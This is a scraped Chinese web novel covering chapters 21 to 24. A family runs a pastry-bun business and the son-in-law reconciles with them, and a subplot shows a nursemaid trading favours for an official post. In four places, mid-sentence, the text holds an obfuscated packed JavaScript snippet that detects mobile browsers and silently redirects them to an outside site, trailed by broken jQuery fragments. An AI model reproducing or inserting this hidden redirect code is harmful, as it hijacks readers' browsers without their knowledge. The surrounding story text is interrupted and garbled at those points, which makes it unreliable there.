门内的苏悦以为接孩子的夫妻忘记了东西，转身打开门，看到是周鑫，吓了一跳，惊呼出声：“你，你怎么来了！” 说完担忧的梭一眼他身后，没看见韦婆子，顿时松了口气，将他让进门，带到后院的出租屋里。 周鑫闷闷的跟了进来，大大的院子，泥土地，茅草顶，松木家具，苎麻蚊帐，一点都没有家里整洁干净，但是苏悦和巧儿却开心自在，对于苏悦离家时的眼泪，他好似有一点点明悟。 他讪讪向姜氏行礼：“母亲知道错了，不该胡乱帮舅母出主意，仿着你们摆摊子，特意打发我来向岳母道歉，命我推来独轮车，算是赔礼，请岳母千万见谅。” 姜氏腹诽，韦婆子会认错，她倒立吃屎。 她扫一眼周鑫脚上蹭满灰的布鞋，想来是寻摸了好久，才寻摸到这，难为他一片心意，也不点破：“没事，街上又不是我姜家的，谁摆摊不是摆，你大老远穿过半个城过来，累坏了吧，吃晚饭没，我们也还没吃，一会一起对付一口。你先喝水润润嗓，阿宁在做菜，我去帮忙。” 她拉着苏慎避开到灶房，只留下他们一家三口。 巧儿看到他很高兴，搂着周鑫脖子蹦个不停，小嘴叭叭叭说着认识了好多新朋友，吃到了天下最最最好吃的冰糖葫芦，从兜里掏出个核出来，小脸突然变天，哇一声哭道：“每人有一个，我吃了一半，悄悄藏了半个在兜里，想着等看到你了给你吃，可是，实在太好吃了，我忍不住，忍不住舔一下，又舔一下，再添一下，只剩这么点了！阿爹，我对不起，哇，我没忍住……被我吃完了，哇……” 周鑫心酸得好似被醋汁泡过，抱着巧儿小小的身子，眼泪顺着眼角滴在泥地上，散成一朵均匀的灰花。 都是他的错，他没照顾好巧儿，这么大的孩子，竟然连糖葫芦都没吃过。 他收拾好情绪，哄女儿：“巧儿不哭，阿爹不爱吃糖葫芦，你吃了正好！”他本想劝苏悦回去的话，在舌头上转了好几圈，又吞下肚，最后变成：“阿悦，你们先和岳母挤几天，我回家劝劝母亲，让她去寺里住半个月礼佛！” 苏悦愕然的抬眼看着他，眸里闪着惊人的亮光。 转而又暗了下去：“婆婆不会去的。” 周鑫沉在那道亮光中，焦急的想让它重新璀璨起来，好似在安慰苏悦，又好似在说服自己：“你放心，我一定能让阿娘同意。” 因多了周鑫，姜宁又现多炒了一道小炒。 选用的时候，用的肥瘦相间的猪后腿肉，垂直纹理切片后撒入细盐，多次少量洒人少许清水顺时针搅拌，等肉片吃饱了水后，抖半小勺淀粉拌匀，形成一层薄薄的淀粉层，最后淋入一勺熟菜油锁住水分，也防止粘连。 从菜园地里新拔一把红柄小青蒜苗，洗干净切成半寸长短大小待用，锅里下宽油，烧得热热的，冒烟时倒入腌制好的肉片，约莫二十吸，变色立马铲出，锅里留少许油，烧热后先放辣椒段爆香，再放入姜片蒜苗杆，翻炒两下，放入蒜苗叶，约莫十吸后放入肉片混合炒匀，撒入细盐，起锅装盘。 姜宁全程很快，手脚飞舞，看得烧火的姜氏眼花缭乱。 晚饭便做好了，魏婆婆带着小板栗去走亲戚吃酒还未回来，今晚便他们一家子吃饭。 锅里的甑子蒸着米饭，冒着热腾腾的雾气，桌子上摆了简单的两菜一汤，都用大陶碗装着：清炖佛手瓜，肉末蒸蛋，因多了周鑫，新炒了蒜苗小炒肉。 大家围在小小的四方桌前，苏慎负责添饭，每人一碗，巧儿半碗，吃完自己加。 不用招呼，巧儿已经兴高采烈的开始发菜，最爱的蛋羹，先给阿娘一勺，小姨一勺，外婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010609|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一勺，小舅舅一勺，哦，阿爹一勺，最后便是自己一勺。 她急切切的昂一口蛋羹，满足的眯了眼。 苏悦碰了一下周鑫的手肘：“愣着做什，吃啊！” 周鑫目光放回桌面上，桌上三个菜，简单家常，颜色纯净。 浅绿色的佛手瓜切成小块沉在红褐色的陶碗底下，上头是清澈的没有半点油腥的汤汁。 蒸蛋平滑金黄，被巧儿舀了些洞洞，露出底下油润润的肉末。 唯一一个肉菜五颜六色：黄的姜片，焦红的辣椒，粉的肉片晶亮的肥膏，碧绿的蒜苗，混在一起，赏心悦目。 不如家里吃的羊肉，她们用的都是最便宜的食材，颜色却清亮鲜明，感觉心情也晴朗起来，好似在太阳下游园，到处五颜六色。 他试探的用筷子夹了一点碗里的蛋羹，颤巍巍的，一碰便碎了。 周鑫余光扫过身边的巧儿，女儿端了碗，凑到嘴边，稀里哗啦筷子扒拉着，早就进嘴大半，蛋羹吃完，自己找了勺子，满满舀了好几勺。 姜氏筷子敲了她手背一下。 周鑫目光一凛，不自觉坐直了身子，来了来了，岳母要责备女儿多吃了。 姜氏莫名其妙看他一眼，招呼巧儿：“你不要只会吃蛋羹，试试肉片，你小姨炒得老香了。”说着，挑了几片肉加在她碗里，嘴里唠叨着：“吃慢些，吃快了肚子疼！” 若不是姜宁拦着道小孩肉吃多不克化，而且放了辣椒，担心巧儿吃不惯，姜氏巴不得把巧儿碗堆尖。 巧儿嗯了一声，学着大人的样子，慢吞吞的嚼菜。 这么一会，他便看出来了，全家都把巧儿捧着手心里，苏家唯一的男丁，苏慎也得靠后。 周鑫不解：“岳母，你不多分些菜给阿慎么？” 姜氏看他像看白痴：“他手脚俱全，爱吃哪个菜，自己没手么，我分了作甚！” 苏慎也没觉得不对，对他挤出一个笑：“姐夫，快吃，我不用阿娘夹菜，我够得到。” 说着站起身子，大大舀了一勺小炒肉到自己碗里，而后又舀一勺佛手瓜，端着碗坐到廊下鸡圈边小板凳坐下，一面吃一面和小鸡说话。 众人见怪不怪，姜氏头不回威胁：“你吃掉下的饭才准给鸡吃，你要敢偷偷喂鸡吃肉，我明日就把它们炖了喝汤。” 苏慎讪讪缩回手，把筷子尖的一小肉片送到自己嘴巴里。 吃个饭吵吵闹闹，周鑫感受到家里没有的一种放松，筷子主动伸出，夹了一片家里看不上眼的猪肉片。 一入嘴他便惊到了，这还是猪肉吗？为什么一点臊味都没有。还未品出味道，便被舌头推下了肚。 他快速的夹起第二片，仔细品尝。 入口是一种从未尝过的鲜香和油脂的醇香，肉质非常鲜嫩，入口即化，汁水丰盈，又不油腻，随着咀嚼，蒜苗和干辣椒的香气开始爆发，舌头微微发热，那是美味过后，一种轻微的战栗，爽，太爽，他不要回去，他要住在这儿！ 22. 第 22 章 送走周鑫，姜氏看着崭新的小推车头疼，家里已经有了魏婆婆借用的，这车完全用不上啊。 姜宁出主意：“这车看着九成九新，我们去找木匠问问，他收不收，若收最好，不收的话，换成蒸笼呗！” 姜氏点头：“你早些睡觉吧，我去办。” 炒菜做饭是姜宁的活，收拾洗碗苏悦和苏慎轮流来，姜宁嗯了一声，洗漱完钻到蚊帐里闭眼睡觉。 次日凌晨，姜宁准时醒来，揉了揉眼睛，从被窝里拔萝卜一般，把身子拨出来，顶着漫天星光开始一日的忙碌。 诶，灶房里多了三个蒸笼，想来是昨晚阿娘把车换成蒸笼了，这样一来的话，能多做一倍破酥包。 面盆一次揉不下，需要多做几次，家里真是样样都缺，等有钱了，必须把各种盆锅配齐。就着烛火，她用炭笔在纸上勾勾画画，算出各种原料比例，开始调配第一盆。 她揉了一半的时候，姜氏过来接手。 姜宁没让：“你还得去买肉呢！” 姜氏笑道：“不用去，我昨晚退了推车，顺路去市场告诉了屠户，叫他一早送来，一会你只管看要不要，若肉不好，让他拿走。” 挺好，免得跑一趟。 姜氏一面揉面，一面吐糟木匠：“忒黑心了，崭新的推车，他只肯出两百文回收，说正常一个新推车值四百，他已经很高价了，之所以卖出去500，是有一百的加急费，他熬灯点油连夜做的。 不划算，所以跟他磨了半天，换了三个蒸笼回来。想着，破酥包客人喜欢，我们多做一些，让客人留个地址，我们可以送货上门，若巡街来赶我们，生意也能继续做下去，无非多走几步路的事。” 姜宁抬眼看了姜氏一眼，她额上泌出均匀的小汗珠，垂着眼，全神贯注的把满腔的力气用在面盆里，认真的把面水或在一起，把这个家，用她的手稳稳的撑起来。 不善动脑的阿娘竟想出了送外卖的方式，必须得夸夸。 她毫不吝啬的奉上彩虹屁，用行表示支持：“阿娘，你考虑得太周到了。我这就再调一盆面，多做些，白日间去送货。” 正说着，有人拍门，打开一看正是送肉来的屠户，姜宁仔细看过，正是新鲜宰杀的小母猪前腿肉，带着一股淡淡的猪臊味道，和阉割过的猪肉味道没得比，但比起其他猪来说，腥味少了许多，将就着用吧。 于是，她们今早整整做了昨日的一倍多，合计一千二百个，九百破酥包，一百苏子包，一百米糕，还有一百灰面炊饼。 还剩三笼没蒸完，姜氏吧苏慎揪了起来，让他看着火，装着蒸好的破酥包，和姜宁急匆匆的往昨日西云书院门口赶。 去到昨日的位置，竟然有几个客人站在那晃悠，陈婆婆家的小胖子，他看见姜宁，立马兴冲冲跑过来，捧了一把钱给他：“哥，共九十文，你数数，先给我一个，饿死我了，然后帮我装二十九个，要热乎的额，快！” 姜宁停稳车，净了手，揭开蒸笼，先用荷叶包了一个给他：“你慢些吃，小心烫！” “剩下二十九个，是送到你们家吗？” 小胖嘴巴一片一片的啃着面皮，含糊答：“不，我带进书院去吃，帮我放到我书包里。”姜宁诧异看他一眼，啧，这是当上同窗的义父了啊，难怪今日起得早。 后头跟着的小胖爹不坑声，嘴角些微翘起一点，显示他现在心情不错。 苍天开眼，不用他催促提点，天一亮，儿子便一骨碌翻身起床上学，虽说是为了买包子吃，但进书院门的时辰，比往日早了至少半刻钟，甚是慰怀。 他想了想，递上二十五个铜板：“你帮我留五个破酥包，五个苏子包，我过会得空来拿。” 姜宁立马提高音量，让周围的食客都听得清：“冯哥，昨日少了您一个苏子包，今日补给你，您要不得空，我忙完，过会儿给你送家去！” 冯远想了想点头，他送完儿子上学，要去东城门接一批货，确实不得回去，颔首道：“好的，你受累！” 姜宁大声朝周边食客解释：“各位哥哥姐姐大娘大爷，我们家可以送货的，只要买二十个及以上，我们送货上门哦。” 昨日豁牙的老大爷也来了，买了个米糕后，想了想，又买了个破酥包，说是回家蒸一蒸做晚饭吃。 两人帮忙开了个好头，后面的食客，买给上学的孩子的，也有自己吃的，还有带回给家人吃的，三个五个的买，蒸笼里的破酥包肉眼可见的减少。 只剩十多个的时候，姜氏正打算回去搬家里的包子，苏悦打发周鑫送了过来，不到辰时，除了预留的，又全部卖空。 姜宁展露着空了的蒸笼，赔笑着和剩下的食客道歉，我们比昨日多做了一倍，这些是昨日预定客人的，真没有了，明日，保证明日再多做些。 还有几个大娘围在姜宁身边付钱，预定明日的包子。 一个头上包了头巾的老妇人道：“哎，我家老汉牙口不好，偏喜欢吃肉，就好你家这口肉馅，味道正又好克化，可惜我家住得远，在南门附近，我走得慢，看看，今早又来迟了些。” 姜宁笑盈盈道：“大娘，你完全可以预定，我们送到你家去。” 大娘摇摇头：“不妥不妥，预定要二十个起，我们家就五个人，哪里吃得掉那么多，放到明日都坏了！” 姜宁帮着出主意：“你可以问问你家旁边的邻居啊，两三家，或者四五家，二十个哪里够分的？” 姜宁一边嘴里和客人闲话，手脚麻利的收钱记账。 周鑫看了一会，若有所思，赶回家去开铺子。 他和韦婆子说出来买早食，顺脚过来看媳妇女儿，兜里藏了两个苏悦装的破酥包，匆匆往西城赶。 回到家，兜里的包子变得温热，不再烫呼呼的，少了才出锅的香气。 掏出一个装在碗里端给韦婆子：“阿娘，我从外头买的肉馒头，你尝尝！” 这两日媳妇不在，儿子不会做饭，便从外面换着买些吃食回来，不是盐淡便是硬邦邦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014360|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，每日都在开盲盒，有惊喜，也有惊吓，和苏悦平时做的饭菜相差甚远。 叫儿子做饭，他做的更糟糕，要么半生不熟，要么糊得发苦。她倒是可以自己做，一想到自己正在生病呢，不能下地，只能忍着，儿子弄什么来，她吃什么，苦不堪言。 她算是想明白了，苏悦回来也好，家里饭菜家务有人收拾。昨夜儿子推着推车出门，她估摸着儿子去寻媳妇，没拦着，算是默认。 她补贴弟弟家五百，儿子气正不顺畅，哄一下儿子，就当推车借给姜氏用一下，过些日子寻个机会，她再推回来。 夜里看儿子一人回来，不见苏悦，韦婆子顿时气得脑壳疼，这次是真疼。 好个苏悦，给她脸了，走了三天，竟然还不回来伺候她。她决定继续吃外面买的吃食，即便不合胃口，她也要夸好吃。让儿子没理由接苏悦回来，最好永远不回来。 韦婆子揭开碧绿的荷叶，露出里头雪白的馒头，哟，这馒头做的有趣，面皮竟是一层一层的，像大葱杆似的，可以薄薄的撕掉，放一片入嘴，酥香绵软，一时间，几乎老泪纵横，好几天了，她终于吃上一口能吃的。 她加快的剥皮的速度，露出里头充盈着汁水的肉馅，她急忙捧到嘴边，先吸一口，烫，鲜，然后含住肉馅，牙齿稍微动了几下，肉馅便化开软软贴在舌齿间，嘴巴里全是油脂的醇香，鲜肉的嫩滑，是和羊肉完全不同的一种风味，同样鲜美，却比羊肉味更清淡平和，更适合她现在半老的肠胃。 “还有么，再来一个？” 周鑫吃完了自己那一个，正满足的闭眼回味，也明白了为何岳母的生意如此火爆，破酥包-皮酥馅足，每一口都是享受，价格实惠，三文钱，又是肉又是白面的，畅销是必然。他懊恼没多顺几个在兜里，听到韦婆子的声音，摇头回答：“没有了，若是要，明早我再去买！” 韦婆子点头：“这家肉馒头不错，你明早多买几个回来，嗯，就买十二个，我们午食晚食也吃它，在小茶炉子上稍微蒸一下就行，免得烧火做饭，省事省柴。”韦婆子计划着明日的伙食，肠胃经不起折腾。 周鑫灵机一动，不动声色撒饵：“阿娘，他们家买的多，可以讲价的，要不，我去批发一百个回来，你在铺子门口支个小茶炉蒸着卖，若是能赚上几文钱，我们家的生活费就省下来了！” 打了窝，周鑫懊恼道：“不行不行，你还生病呢，我怎么能让你去铺子口摆摊？” 韦婆子愣了一下，眼珠转了转，这倒是个好主意。 她先试着售卖，要是肉馒头生意好，她便交给弟媳去做，拉一把弟弟家，不好便罢了，家里小茶炉蒸笼都是现成的，不用额外准备物件，不好卖，最多亏一天的肉馒头，自己能吃，吃不完的放在井里镇着，三两天就能吃完。 她咳嗽了两声，坐直身体，揭掉头上捂着的帽子，伸了个懒腰：“别说，这个肉馒头好吃又补身子，我感觉我现在强得可怕，你去找他们谈批发的事，我去开铺子接待客人！” 23. 第 23 章 姜氏和姜宁面上洋溢着喜气，回到家放好东西，两人抱着钱匣子进了后院屋子，关上门，开始数钱。 每一百穿成一串，一开始，姜氏一个一个把‘太平通宝’整理在上面，花面朝下，盏茶功夫能整理好一串，看着桌子上小山一般的铜钱，她失了耐性，豪气的一打一打理好，直接数一百穿线打结。 整整三十多串铜钱，整齐的躺在桌面上，等着她们的检阅。 姜氏感受着指尖金属特有的凉意，颤抖着手掐了一把大腿，不敢置信的看着姜宁：“阿宁，我们没数错吧，真的是三十三串钱诶！我们太厉害了，只用了不到一个时辰的功夫，就赚到了四贯！” 姜宁同样很激动，准确来说，是3260文，四舍五入便是四贯钱，她首次看到这么多铜钱，冲击力很大。 去掉物料成本，还剩下1630文，重要的是，她们只卖了一个时辰便全部卖完。 若是加上在家准备时间的话，其实非常辛苦的，凌晨丑初（一点）起床，一直忙碌到现在，热水都没顾上喝一口。 当然，也可以偷懒，头天做好，次日复蒸。舌头不会骗人，这样的话，鲜味就没了，她不愿意糊弄食客。 数完钱，姜宁看着姜氏眼下的青黑，劝道：“阿娘，左右现在没事，我们一起睡个回笼觉。”她昨夜睡得早，姜氏又去换蒸笼，又去订猪肉，睡得晚，别把人熬坏了。 姜氏愣了下，这是阿宁长大后，第一次主动亲近她吧？自从有了苏慎，她便没和女儿一起躺过。 她欣慰的傻笑：“行，你先睡，我去洗洗脚就来。”她脚汗大，可别臭到她香香软软的闺女。 正说着，周鑫寻上门，他把批发包子的主意找苏悦一说，苏悦直言，破酥包生意是阿娘和阿宁的，她只管帮着教孩子领工钱，其他事做不掉主，带着他来寻姜宁。 周鑫挑挑眉，一家人还分这么清楚，他以为姜氏掌管一家子的钱袋。 苏悦看他一眼道：“其实我觉得阿娘分得清楚，挺好。娘管的钱是公中，我们一起赚到的钱，七分归公中，剩下的是自己的。 苏慎帮着带小学堂们的小孩们，领工钱的，他自己攒了一小盒子，每日睡前都数一遍，说是要留着给将来的媳妇买头花戴。 我每日领工钱，虽然少，但想买个胭脂，给巧儿买个布老虎也还凑手。” 周鑫深深看了一眼媳妇，媳妇这是暗示他们家账目混乱，没给她发零花钱？ 周家的钱箱在阿娘那儿，大部分时候抠门得很，每一文紧紧握着，他同样没有零花钱。有的时候，又格外大方，比如昨日舅母那五百，他不同意，阿娘乐意，他亦没招！ 周鑫若有所思，没吭声，两人进了后院的屋子。 待他说明来意，姜氏接话：“我们在商言商，破酥包看着卖得快，其实成本很高，甚是消耗精力。用的面是十文一公斤的精白面，肉是最贵的小嫩猪肉，还有其他佐料，更是耗费巨大，光揉面就要大半夜，我天生力气大，不费事，不然真做不出这么多包子来。” “你要批发，我们肯定便宜些，我可以给你少半文，五文两个，你卖一个能赚到半文，你觉得怎么样？若是其他人来批发，同样这个价。” 周鑫给苏悦使了个颜色，指望她帮着说两句话，把批发价再压下去一点，苏悦抬头看着房顶的蜘蛛，装作没望见。 他自己不好讲价，点头：“亲兄弟明算账，要走得长远，是这个道理！”他预定了一百个，说好明日寅末（凌晨5点）自己来取。 韦婆子没给他钱，他没交定金，姜氏不在意，摆摆手让他明日取包子时，一同带来，送他出门的时候，姜氏笑道：“你是我女婿，但是我们得讲清楚，第一次合作，便不收订金了，下次订货，给一半的定金，取货时全部付清，我们底子薄，概不赊账哈！” 等他离开，姜宁找苏悦商量：“阿姐，你今夜也早些歇息，明日起得来吗？和我们一起做破酥包呗。” 苏悦傻了，巨大的惊喜砸在了脑袋上，半响忍痛拒绝：“不好，这是你想出来的方子！可以传下去的方子。等你成了婚，给孩子压箱底的方子，怎么能教给我呢？” 姜氏没吭声，这事吧，她不好开口，选择观望。 她日日跟着一起做包子，主要负责揉面剁肉，她没长做饭的脑子，没那个心思想着学。 但苏悦和她不一样，苏悦做饭不赖，若是让苏悦跟着做两次，估摸着就学会了。 姜宁笑道：“什么传下去的方子，不过是比别人舍得吃苦，舍得用好面，用好肉，用好油，多琢磨琢磨都能做出来，现在销量大，我们趁着这个机会多卖些，我们三人一起配合，能做的更多。” 她看一眼苏悦：“当然，手里有了手艺，便有了安身立命的底气，我觉得阿姐今日对姐夫就很好，丁是丁卯是卯的，没有混为一谈。” 这是点她没有胡乱答应周鑫包子的事，苏悦明白了，感激妹妹拉她一把。 连忙指天发誓保证：“你放心，我一定把做破酥包的手艺学会，牢牢握在手里，不得你的同意，绝对不会露出去！” & 这些日子，胡光骏鞍前马后，嘘寒问暖体贴入微，哄得高明珠一颗心如泡在蜜罐里一般甜蜜。 这日，胡光骏约高明珠到城外放风筝，美人风筝在他修长的手指摆弄下，三两下乖巧的摇摇晃晃，飞了起来，翱翔在蔚蓝的天空，随着他的动作，忽高忽低。 微风拂过，一缕青黑的长发，从他肩头滑落，覆在他棱角分明的下颌线上，最后落在突出的喉结。 坐在小桌子前的高明珠看痴了，话本里说，喉结突出的男人，闺阁里特别棒，不晓得是怎么棒法？她不晓得想到了什么，脸蓦的一红，假装低头喝水。 摆出最能展示自家俊颜的胡光骏，表面在认真的放风筝，其实余光紧紧盯着高明珠，瞄见她低了头，心里不住的失望，而后笑道：“珠儿，来，我教你放风筝！” 高明珠嗯了一声，走过去，接过线轮，刚好一阵大风吹来，她右手手中线条一紧，手指便被线割了个小口子，汩汩泌出殷红的血珠，风筝呼啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019322|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦被大风带走了。 她惋惜的看着天上越飞越高的美人风筝，那是胡光骏特意画了送给她的，和她有三分想像，甚是灵动飘逸。 胡光骏面上溢满怜惜，慌忙之下，抓起她的手指放在唇边吮了一口，语气里全是心疼：“都怨我，考虑不周到，带你放风筝，伤到了你，是不是很疼？” 他面上满是懊悔，把血吮干净后，掏出帕子，帮她裹了起来，最后打了个漂亮的蝴蝶结。 高明珠飞速看一眼跟来的丫鬟婆子，都忙着去追风筝，幸好没被她们看到，不然回去让母亲知晓，她少不了一顿罚。 她红着脸快速缩回手，喃喃道：“我手没那么娇贵的，经常弹琴，被割伤过很多次！” 啊，她要疯了，他竟然帮她吮血，他的唇软软的，凉凉的。 不晓得是不是他不小心，她感觉他的舌头在她伤口上轻轻舔了一下，那种感觉，麻麻的酥酥的，好吓人，好战栗，也，好期待。 她是疯了吗，竟然会期待？不是该甩他一巴掌吗？ 高明珠面上纠结古怪，她垂着头走回一旁的小兀子上坐定，细细梳理着肚子缠绕纠结的丝丝懊恼和甜蜜。 胡光骏见她没有生气，心下大喜，若无其事坐在桌子另一边，抓起一把瓜子，一粒一粒剥起壳来。 他剥的时候，把扁的，小的自己吃掉，留下饱满晶莹的大粒瓜子，放在小盘子，推到她面前：“你手受了伤，不好剥瓜子，来，我剥你吃。” “这是前些天我去农户家挑选的最饱满的向日葵，已经用薄荷水煮过，再炒干，吃了不伤嗓子的，你尝尝？” 高明珠闻言，左手挑出一粒放到嘴里，瓜子带着阳光的味道，香醇干脆，过后是薄荷的清凉回甘，果然和外头卖的瓜子味道不同。 对面的人轻轻责备：“你这样单薄，怎的吃那么几粒儿，是不是手疼抓不起来，来，我喂你。” 说着他用三个修长的指头，捏了一撮，伸到她嘴边。 要死！ 高明珠慌忙左右看了一下，坐直了身子躲过，伸出手掌接过瓜子米，整整十六颗，几乎把她手心填满粒，她就着掌心把瓜子米放到嘴巴里，眼角瞄着他的手，感叹，他的手真的好大好长。 这一天，高明珠感觉自己的心好似被小鹿啃过，生了病，砰砰砰乱跳，好不容挨到放完风筝回家才好。 睡觉的时候，她翻来覆去睡不着，等了半响，她坐起身来，喊来珍珠：“胡公子今晚没送信来吗？” 每日入睡前，她都能收到胡光骏递进来的小东西，有的时候是一纸薛涛签，有的时候是一支娇艳欲滴的花，或一块特殊的石头，漂亮的玩偶，今日晚间怎么没有？ 她披衣坐起来问：“是有什么事情耽搁了？” 珍珠看了她一眼，吞吞吐吐道：“奴婢打发人过去问了，是，是，胡公子表弟比胡公子小一岁，已经录了将仕郎，宴请胡家，回家后胡家二老气不过，胡公子被胡家二老打了一顿板子，锁在家里不许出门，让他专心读书，不考录上，不许出门。” 24. 第 24 章 高明珠听完，美眸里盛着担忧：“那他有没有事？” “婆子找了去他家的大夫打听，说是屁股被打的血肉模糊。”她顿了顿又道：“胡家二老还和大夫说，若公子不能做出先生满意的文章，三天打一次，让大夫三天后继续上门！” 莹莹的泪光在她眼中闪动，这可如何是好。 一旁站着的奶嬷嬷齐婆子，捏了捏袖中的黄金簪子，沉甸甸的触感让人心安，她吐糟道：“胡公子风光霁月一表人才，打坏了可怎么好，胡家二老也真是糊涂，哪有这样逼迫儿子的！” 她骂完又道：“一个小小的将仕郎，也值得胡家大动干戈，眼皮子忒浅，娘子，要不然，取了家里的帖子，替胡公子弄个通仕郎，也好帮他出口气。公子待人接物才华本事一等一的，这样被关在家里读死书，实在埋没了他。” 珍珠看一眼奶嬷嬷热切的脸，垂下眼脸不吭声。 高明珠犹豫，“我去请示阿娘？” 奶嬷嬷轻描淡写：“嗨，这又不是什么大事，只要你点头，老奴去外书房里交代一声就是，家里安排了那么多亲戚朋友，不多这一个！” 高明珠满心满眼都是对胡光骏的心疼，他日日对她嘘寒问暖，体贴入微，摔了都不忘记来送花给她，这次没信，定然是伤得狠了，她恨不得长出一双翅膀，飞去亲眼看看他。 “那你去办，明日替我去看看他。” 齐婆子答应，哄着高明珠睡下，回了下人院，连夜敲响高府二管事家的门，压低声音嘀嘀咕咕了一阵，管事嗯了一声，次日一早送了份文书来。 齐嬷嬷到了胡家，她亮了亮手中的文书子，得意洋洋：“小子，老婆子给你弄来了，我们事前说好的呢？” 胡光骏屁股上糊着药，包着白布躺在榻上，挣扎着爬起来，接过齐婆子手中的帖子，颤着手仔细读起来。 瘸着腿，小心翼翼的把文书放到床头匣子里收好。 齐婆子瞟一眼他的腿，讥笑：“小子，在老婆子面前还装呢！” 胡光骏连道不敢：“不敢哄骗嬷嬷，父亲打我时下了死手的。”胡父发现自家私房钱被儿子一锅端走，胡母责备儿子读书不认真，让他动手时，他一点没留手。 他重新捧出一个精致的小木盒，难为情道：“嬷嬷，我最近不凑手，答应你的一百两还未凑齐，这样，我把我的扣子抵押在你这里，买的时候，这扣子花了二百两，当铺只愿出五十两，实在可惜，你先帮我保管扣子，等银子凑齐了，换回来，可以么？” 齐嬷嬷面色刷的变了，皮笑肉不笑，做势去夺文书：“胡公子，我们这行没有你这样的，文书，我一人可办不下来，后头许多出力的朋友，等着米入锅呢。” 胡光骏面上一阵红一阵白，不停求饶劝说：“嬷嬷，你信我一会，凑齐了钱，我立马送来！一大家子在这里，我不会赖账的，你看看这个扣子，有它抵押在你那，你还不信么？”说着他打开盒子，露出盒子里晶莹的平安扣。 齐嬷嬷无意瞟一眼扣子，眼底闪过一丝惊艳，嘴里不肯让步，势必要拿走文书。 胡光骏急了，一叠声加码：“我愿再多加二十两，嬷嬷容我些日子！” 听到这话，齐嬷嬷不去抢文书了，接过盒子道：“我看公子也不是那不讲信誉的人，答应你就是，这样，我看这扣子小巧通透，和我孙女正好相配，不如这扣子作价五十两抵给我，你再给我七十两，如何？” 当铺出价二十两，齐嬷嬷张嘴出价五十两，扣子肯定不只这么点，胡光骏不肯：“嬷嬷，这是我出生时，家里二百两买来护佑我平安的，这么些年，我无病无灾的，甚是灵验，你若要，至少给一百两！” 齐嬷嬷讥笑，啪的关起来，把小木盒往胡光骏怀里一摔：“那你留着自己保平安吧！” 胡光骏：“……” 他捧好木盒，赔笑道：“这样，抵账八十两，不能再少了！” 齐嬷嬷鼻子里哼了一声，算是同意。 要求胡光骏写了一张四十两的借条，按压手印后收好，揣了扣子借条施施然离开。 她急切的回到家，关好门窗，对着窗户天光看平安扣，啧啧，不晓得胡光骏那厮从哪里弄来的平安扣，这玉石料子清润如水，玉髓灵动，比夫人赏给小姐的玉佩，还要通透几分，嚯嚯，这桩买卖赚到了，金簪价值一百贯，还有这个扣子，至少值两百贯，发大财了。 齐嬷嬷换上绸衣，口上抹了胭脂，脖颈上带着平安扣，头发插上金簪，对着镜子照了好几次，贵气逼人，越看越好看，半响，恋恋不舍收起来，可惜了，她身份是奴婢，不能穿金戴银。 她仔细把扣子重新用丝绸锦盒装好，藏在了地板下，金簪和借条一起放在梳妆盒里。擦掉口脂，换了平时穿的衣裳，进府当差。 进了府，高明珠去赴宴，未回来，到了晚间，高明珠满脸恼怒进来，打发走其他人，让齐嬷嬷一人伺候。 齐嬷嬷小心翼翼赔笑：“小姐今日看着脸色不好，是哪个不长眼的惹我们小姐生气了？” 高明珠烦闷道：“还不是母亲，非要我去使馆里拜见贵人，那人推脱头晕，根本不见我，害我枯坐一日冷板凳！” 吐糟完才发现自家说了母亲的不是，立马闭嘴不肯多言，转而问道：“胡公子如何了？” 齐嬷嬷笑道：“小姐放心，管家已经把事情料理妥当，安排了个书记员的差事，我将文书亲送到他手里，明日他便可以去衙门里当差，书记员在衙门里记录文书，风吹不到，雨晒不到，适合胡公子这样才高八斗的体面人。 书记员空余功夫多，不影响胡公子来看你。” 高明珠听完羞恼一笑：“嬷嬷酒喝多了，胡吣些什么！” 齐嬷嬷连道说错了，请小姐求饶等话。 高明珠摆摆手，示意齐嬷嬷下去，她窝在细腻柔软的锦被里，捧着胡光骏送来和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027592|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 